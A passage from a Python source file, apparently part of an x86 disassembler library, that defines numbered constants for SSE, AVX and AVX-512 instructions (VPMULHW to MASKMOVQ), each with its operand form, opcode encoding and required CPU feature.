VEX_VPMULHW_YMM_YMM_YMMM256: int = 2368
"""
``VPMULHW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG E5 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULHW_XMM_K1Z_XMM_XMMM128: int = 2369
"""
``VPMULHW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E5 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULHW_YMM_K1Z_YMM_YMMM256: int = 2370
"""
``VPMULHW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG E5 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULHW_ZMM_K1Z_ZMM_ZMMM512: int = 2371
"""
``VPMULHW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG E5 /r``
``AVX512BW``
``16/32/64-bit``
"""
CVTTPD2DQ_XMM_XMMM128: int = 2372
"""
``CVTTPD2DQ xmm1, xmm2/m128``
``66 0F E6 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTTPD2DQ_XMM_XMMM128: int = 2373
"""
``VCVTTPD2DQ xmm1, xmm2/m128``
``VEX.128.66.0F.WIG E6 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTTPD2DQ_XMM_YMMM256: int = 2374
"""
``VCVTTPD2DQ xmm1, ymm2/m256``
``VEX.256.66.0F.WIG E6 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTTPD2DQ_XMM_K1Z_XMMM128B64: int = 2375
"""
``VCVTTPD2DQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 E6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPD2DQ_XMM_K1Z_YMMM256B64: int = 2376
"""
``VCVTTPD2DQ xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 E6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPD2DQ_YMM_K1Z_ZMMM512B64_SAE: int = 2377
"""
``VCVTTPD2DQ ymm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F.W1 E6 /r``
``AVX512F``
``16/32/64-bit``
"""
CVTDQ2PD_XMM_XMMM64: int = 2378
"""
``CVTDQ2PD xmm1, xmm2/m64``
``F3 0F E6 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTDQ2PD_XMM_XMMM64: int = 2379
"""
``VCVTDQ2PD xmm1, xmm2/m64``
``VEX.128.F3.0F.WIG E6 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTDQ2PD_YMM_XMMM128: int = 2380
"""
``VCVTDQ2PD ymm1, xmm2/m128``
``VEX.256.F3.0F.WIG E6 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PD_XMM_K1Z_XMMM64B32: int = 2381
"""
``VCVTDQ2PD xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.F3.0F.W0 E6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PD_YMM_K1Z_XMMM128B32: int = 2382
"""
``VCVTDQ2PD ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.F3.0F.W0 E6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PD_ZMM_K1Z_YMMM256B32_ER: int = 2383
"""
``VCVTDQ2PD zmm1 {k1}{z}, ymm2/m256/m32bcst{er}``
``EVEX.512.F3.0F.W0 E6 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PD_XMM_K1Z_XMMM128B64: int = 2384
"""
``VCVTQQ2PD xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.F3.0F.W1 E6 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PD_YMM_K1Z_YMMM256B64: int = 2385
"""
``VCVTQQ2PD ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.F3.0F.W1 E6 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PD_ZMM_K1Z_ZMMM512B64_ER: int = 2386
"""
``VCVTQQ2PD zmm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.F3.0F.W1 E6 /r``
``AVX512DQ``
``16/32/64-bit``
"""
CVTPD2DQ_XMM_XMMM128: int = 2387
"""
``CVTPD2DQ xmm1, xmm2/m128``
``F2 0F E6 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTPD2DQ_XMM_XMMM128: int = 2388
"""
``VCVTPD2DQ xmm1, xmm2/m128``
``VEX.128.F2.0F.WIG E6 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTPD2DQ_XMM_YMMM256: int = 2389
"""
``VCVTPD2DQ xmm1, ymm2/m256``
``VEX.256.F2.0F.WIG E6 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTPD2DQ_XMM_K1Z_XMMM128B64: int = 2390
"""
``VCVTPD2DQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.F2.0F.W1 E6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2DQ_XMM_K1Z_YMMM256B64: int = 2391
"""
``VCVTPD2DQ xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.F2.0F.W1 E6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2DQ_YMM_K1Z_ZMMM512B64_ER: int = 2392
"""
``VCVTPD2DQ ymm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.F2.0F.W1 E6 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVNTQ_M64_MM: int = 2393
"""
``MOVNTQ m64, mm``
``NP 0F E7 /r``
``SSE``
``16/32/64-bit``
"""
MOVNTDQ_M128_XMM: int = 2394
"""
``MOVNTDQ m128, xmm1``
``66 0F E7 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVNTDQ_M128_XMM: int = 2395
"""
``VMOVNTDQ m128, xmm1``
``VEX.128.66.0F.WIG E7 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVNTDQ_M256_YMM: int = 2396
"""
``VMOVNTDQ m256, ymm1``
``VEX.256.66.0F.WIG E7 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVNTDQ_M128_XMM: int = 2397
"""
``VMOVNTDQ m128, xmm1``
``EVEX.128.66.0F.W0 E7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTDQ_M256_YMM: int = 2398
"""
``VMOVNTDQ m256, ymm1``
``EVEX.256.66.0F.W0 E7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVNTDQ_M512_ZMM: int = 2399
"""
``VMOVNTDQ m512, zmm1``
``EVEX.512.66.0F.W0 E7 /r``
``AVX512F``
``16/32/64-bit``
"""
PSUBSB_MM_MMM64: int = 2400
"""
``PSUBSB mm, mm/m64``
``NP 0F E8 /r``
``MMX``
``16/32/64-bit``
"""
PSUBSB_XMM_XMMM128: int = 2401
"""
``PSUBSB xmm1, xmm2/m128``
``66 0F E8 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBSB_XMM_XMM_XMMM128: int = 2402
"""
``VPSUBSB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E8 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBSB_YMM_YMM_YMMM256: int = 2403
"""
``VPSUBSB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG E8 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBSB_XMM_K1Z_XMM_XMMM128: int = 2404
"""
``VPSUBSB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E8 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBSB_YMM_K1Z_YMM_YMMM256: int = 2405
"""
``VPSUBSB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG E8 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBSB_ZMM_K1Z_ZMM_ZMMM512: int = 2406
"""
``VPSUBSB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG E8 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSUBSW_MM_MMM64: int = 2407
"""
``PSUBSW mm, mm/m64``
``NP 0F E9 /r``
``MMX``
``16/32/64-bit``
"""
PSUBSW_XMM_XMMM128: int = 2408
"""
``PSUBSW xmm1, xmm2/m128``
``66 0F E9 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBSW_XMM_XMM_XMMM128: int = 2409
"""
``VPSUBSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG E9 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBSW_YMM_YMM_YMMM256: int = 2410
"""
``VPSUBSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG E9 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBSW_XMM_K1Z_XMM_XMMM128: int = 2411
"""
``VPSUBSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG E9 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBSW_YMM_K1Z_YMM_YMMM256: int = 2412
"""
``VPSUBSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG E9 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBSW_ZMM_K1Z_ZMM_ZMMM512: int = 2413
"""
``VPSUBSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG E9 /r``
``AVX512BW``
``16/32/64-bit``
"""
PMINSW_MM_MMM64: int = 2414
"""
``PMINSW mm1, mm2/m64``
``NP 0F EA /r``
``SSE``
``16/32/64-bit``
"""
PMINSW_XMM_XMMM128: int = 2415
"""
``PMINSW xmm1, xmm2/m128``
``66 0F EA /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMINSW_XMM_XMM_XMMM128: int = 2416
"""
``VPMINSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG EA /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMINSW_YMM_YMM_YMMM256: int = 2417
"""
``VPMINSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG EA /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMINSW_XMM_K1Z_XMM_XMMM128: int = 2418
"""
``VPMINSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG EA /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINSW_YMM_K1Z_YMM_YMMM256: int = 2419
"""
``VPMINSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG EA /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMINSW_ZMM_K1Z_ZMM_ZMMM512: int = 2420
"""
``VPMINSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG EA /r``
``AVX512BW``
``16/32/64-bit``
"""
POR_MM_MMM64: int = 2421
"""
``POR mm, mm/m64``
``NP 0F EB /r``
``MMX``
``16/32/64-bit``
"""
POR_XMM_XMMM128: int = 2422
"""
``POR xmm1, xmm2/m128``
``66 0F EB /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPOR_XMM_XMM_XMMM128: int = 2423
"""
``VPOR xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG EB /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPOR_YMM_YMM_YMMM256: int = 2424
"""
``VPOR ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG EB /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPORD_XMM_K1Z_XMM_XMMM128B32: int = 2425
"""
``VPORD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 EB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPORD_YMM_K1Z_YMM_YMMM256B32: int = 2426
"""
``VPORD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 EB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPORD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2427
"""
``VPORD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 EB /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPORQ_XMM_K1Z_XMM_XMMM128B64: int = 2428
"""
``VPORQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 EB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPORQ_YMM_K1Z_YMM_YMMM256B64: int = 2429
"""
``VPORQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 EB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPORQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2430
"""
``VPORQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 EB /r``
``AVX512F``
``16/32/64-bit``
"""
PADDSB_MM_MMM64: int = 2431
"""
``PADDSB mm, mm/m64``
``NP 0F EC /r``
``MMX``
``16/32/64-bit``
"""
PADDSB_XMM_XMMM128: int = 2432
"""
``PADDSB xmm1, xmm2/m128``
``66 0F EC /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDSB_XMM_XMM_XMMM128: int = 2433
"""
``VPADDSB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG EC /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDSB_YMM_YMM_YMMM256: int = 2434
"""
``VPADDSB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG EC /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDSB_XMM_K1Z_XMM_XMMM128: int = 2435
"""
``VPADDSB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG EC /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDSB_YMM_K1Z_YMM_YMMM256: int = 2436
"""
``VPADDSB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG EC /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDSB_ZMM_K1Z_ZMM_ZMMM512: int = 2437
"""
``VPADDSB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG EC /r``
``AVX512BW``
``16/32/64-bit``
"""
PADDSW_MM_MMM64: int = 2438
"""
``PADDSW mm, mm/m64``
``NP 0F ED /r``
``MMX``
``16/32/64-bit``
"""
PADDSW_XMM_XMMM128: int = 2439
"""
``PADDSW xmm1, xmm2/m128``
``66 0F ED /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDSW_XMM_XMM_XMMM128: int = 2440
"""
``VPADDSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG ED /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDSW_YMM_YMM_YMMM256: int = 2441
"""
``VPADDSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG ED /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDSW_XMM_K1Z_XMM_XMMM128: int = 2442
"""
``VPADDSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG ED /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDSW_YMM_K1Z_YMM_YMMM256: int = 2443
"""
``VPADDSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG ED /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDSW_ZMM_K1Z_ZMM_ZMMM512: int = 2444
"""
``VPADDSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG ED /r``
``AVX512BW``
``16/32/64-bit``
"""
PMAXSW_MM_MMM64: int = 2445
"""
``PMAXSW mm1, mm2/m64``
``NP 0F EE /r``
``SSE``
``16/32/64-bit``
"""
PMAXSW_XMM_XMMM128: int = 2446
"""
``PMAXSW xmm1, xmm2/m128``
``66 0F EE /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMAXSW_XMM_XMM_XMMM128: int = 2447
"""
``VPMAXSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG EE /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMAXSW_YMM_YMM_YMMM256: int = 2448
"""
``VPMAXSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG EE /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMAXSW_XMM_K1Z_XMM_XMMM128: int = 2449
"""
``VPMAXSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG EE /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXSW_YMM_K1Z_YMM_YMMM256: int = 2450
"""
``VPMAXSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG EE /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMAXSW_ZMM_K1Z_ZMM_ZMMM512: int = 2451
"""
``VPMAXSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG EE /r``
``AVX512BW``
``16/32/64-bit``
"""
PXOR_MM_MMM64: int = 2452
"""
``PXOR mm, mm/m64``
``NP 0F EF /r``
``MMX``
``16/32/64-bit``
"""
PXOR_XMM_XMMM128: int = 2453
"""
``PXOR xmm1, xmm2/m128``
``66 0F EF /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPXOR_XMM_XMM_XMMM128: int = 2454
"""
``VPXOR xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG EF /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPXOR_YMM_YMM_YMMM256: int = 2455
"""
``VPXOR ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG EF /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPXORD_XMM_K1Z_XMM_XMMM128B32: int = 2456
"""
``VPXORD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 EF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPXORD_YMM_K1Z_YMM_YMMM256B32: int = 2457
"""
``VPXORD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 EF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPXORD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2458
"""
``VPXORD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 EF /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPXORQ_XMM_K1Z_XMM_XMMM128B64: int = 2459
"""
``VPXORQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 EF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPXORQ_YMM_K1Z_YMM_YMMM256B64: int = 2460
"""
``VPXORQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 EF /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPXORQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2461
"""
``VPXORQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 EF /r``
``AVX512F``
``16/32/64-bit``
"""
LDDQU_XMM_M128: int = 2462
"""
``LDDQU xmm1, m128``
``F2 0F F0 /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VLDDQU_XMM_M128: int = 2463
"""
``VLDDQU xmm1, m128``
``VEX.128.F2.0F.WIG F0 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VLDDQU_YMM_M256: int = 2464
"""
``VLDDQU ymm1, m256``
``VEX.256.F2.0F.WIG F0 /r``
``AVX``
``16/32/64-bit``
"""
PSLLW_MM_MMM64: int = 2465
"""
``PSLLW mm, mm/m64``
``NP 0F F1 /r``
``MMX``
``16/32/64-bit``
"""
PSLLW_XMM_XMMM128: int = 2466
"""
``PSLLW xmm1, xmm2/m128``
``66 0F F1 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLW_XMM_XMM_XMMM128: int = 2467
"""
``VPSLLW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F1 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLW_YMM_YMM_XMMM128: int = 2468
"""
``VPSLLW ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG F1 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLW_XMM_K1Z_XMM_XMMM128: int = 2469
"""
``VPSLLW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG F1 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLW_YMM_K1Z_YMM_XMMM128: int = 2470
"""
``VPSLLW ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.WIG F1 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLW_ZMM_K1Z_ZMM_XMMM128: int = 2471
"""
``VPSLLW zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.WIG F1 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSLLD_MM_MMM64: int = 2472
"""
``PSLLD mm, mm/m64``
``NP 0F F2 /r``
``MMX``
``16/32/64-bit``
"""
PSLLD_XMM_XMMM128: int = 2473
"""
``PSLLD xmm1, xmm2/m128``
``66 0F F2 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLD_XMM_XMM_XMMM128: int = 2474
"""
``VPSLLD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F2 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLD_YMM_YMM_XMMM128: int = 2475
"""
``VPSLLD ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG F2 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLD_XMM_K1Z_XMM_XMMM128: int = 2476
"""
``VPSLLD xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.W0 F2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLD_YMM_K1Z_YMM_XMMM128: int = 2477
"""
``VPSLLD ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.W0 F2 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLD_ZMM_K1Z_ZMM_XMMM128: int = 2478
"""
``VPSLLD zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.W0 F2 /r``
``AVX512F``
``16/32/64-bit``
"""
PSLLQ_MM_MMM64: int = 2479
"""
``PSLLQ mm, mm/m64``
``NP 0F F3 /r``
``MMX``
``16/32/64-bit``
"""
PSLLQ_XMM_XMMM128: int = 2480
"""
``PSLLQ xmm1, xmm2/m128``
``66 0F F3 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLQ_XMM_XMM_XMMM128: int = 2481
"""
``VPSLLQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F3 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLQ_YMM_YMM_XMMM128: int = 2482
"""
``VPSLLQ ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG F3 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLQ_XMM_K1Z_XMM_XMMM128: int = 2483
"""
``VPSLLQ xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.W1 F3 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLQ_YMM_K1Z_YMM_XMMM128: int = 2484
"""
``VPSLLQ ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.W1 F3 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLQ_ZMM_K1Z_ZMM_XMMM128: int = 2485
"""
``VPSLLQ zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.W1 F3 /r``
``AVX512F``
``16/32/64-bit``
"""
PMULUDQ_MM_MMM64: int = 2486
"""
``PMULUDQ mm1, mm2/m64``
``NP 0F F4 /r``
``SSE2``
``16/32/64-bit``
"""
PMULUDQ_XMM_XMMM128: int = 2487
"""
``PMULUDQ xmm1, xmm2/m128``
``66 0F F4 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMULUDQ_XMM_XMM_XMMM128: int = 2488
"""
``VPMULUDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F4 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMULUDQ_YMM_YMM_YMMM256: int = 2489
"""
``VPMULUDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG F4 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULUDQ_XMM_K1Z_XMM_XMMM128B64: int = 2490
"""
``VPMULUDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 F4 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULUDQ_YMM_K1Z_YMM_YMMM256B64: int = 2491
"""
``VPMULUDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 F4 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMULUDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2492
"""
``VPMULUDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 F4 /r``
``AVX512F``
``16/32/64-bit``
"""
PMADDWD_MM_MMM64: int = 2493
"""
``PMADDWD mm, mm/m64``
``NP 0F F5 /r``
``MMX``
``16/32/64-bit``
"""
PMADDWD_XMM_XMMM128: int = 2494
"""
``PMADDWD xmm1, xmm2/m128``
``66 0F F5 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPMADDWD_XMM_XMM_XMMM128: int = 2495
"""
``VPMADDWD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F5 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMADDWD_YMM_YMM_YMMM256: int = 2496
"""
``VPMADDWD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG F5 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMADDWD_XMM_K1Z_XMM_XMMM128: int = 2497
"""
``VPMADDWD xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG F5 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMADDWD_YMM_K1Z_YMM_YMMM256: int = 2498
"""
``VPMADDWD ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG F5 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMADDWD_ZMM_K1Z_ZMM_ZMMM512: int = 2499
"""
``VPMADDWD zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG F5 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSADBW_MM_MMM64: int = 2500
"""
``PSADBW mm1, mm2/m64``
``NP 0F F6 /r``
``SSE``
``16/32/64-bit``
"""
PSADBW_XMM_XMMM128: int = 2501
"""
``PSADBW xmm1, xmm2/m128``
``66 0F F6 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSADBW_XMM_XMM_XMMM128: int = 2502
"""
``VPSADBW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F6 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSADBW_YMM_YMM_YMMM256: int = 2503
"""
``VPSADBW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG F6 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSADBW_XMM_XMM_XMMM128: int = 2504
"""
``VPSADBW xmm1, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG F6 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSADBW_YMM_YMM_YMMM256: int = 2505
"""
``VPSADBW ymm1, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG F6 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSADBW_ZMM_ZMM_ZMMM512: int = 2506
"""
``VPSADBW zmm1, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG F6 /r``
``AVX512BW``
``16/32/64-bit``
"""
MASKMOVQ_RDI_MM_MM: int = 2507
"""
``MASKMOVQ mm1, mm2``
``NP 0F F7 /r``
``SSE``
``16/32/64-bit``
"""
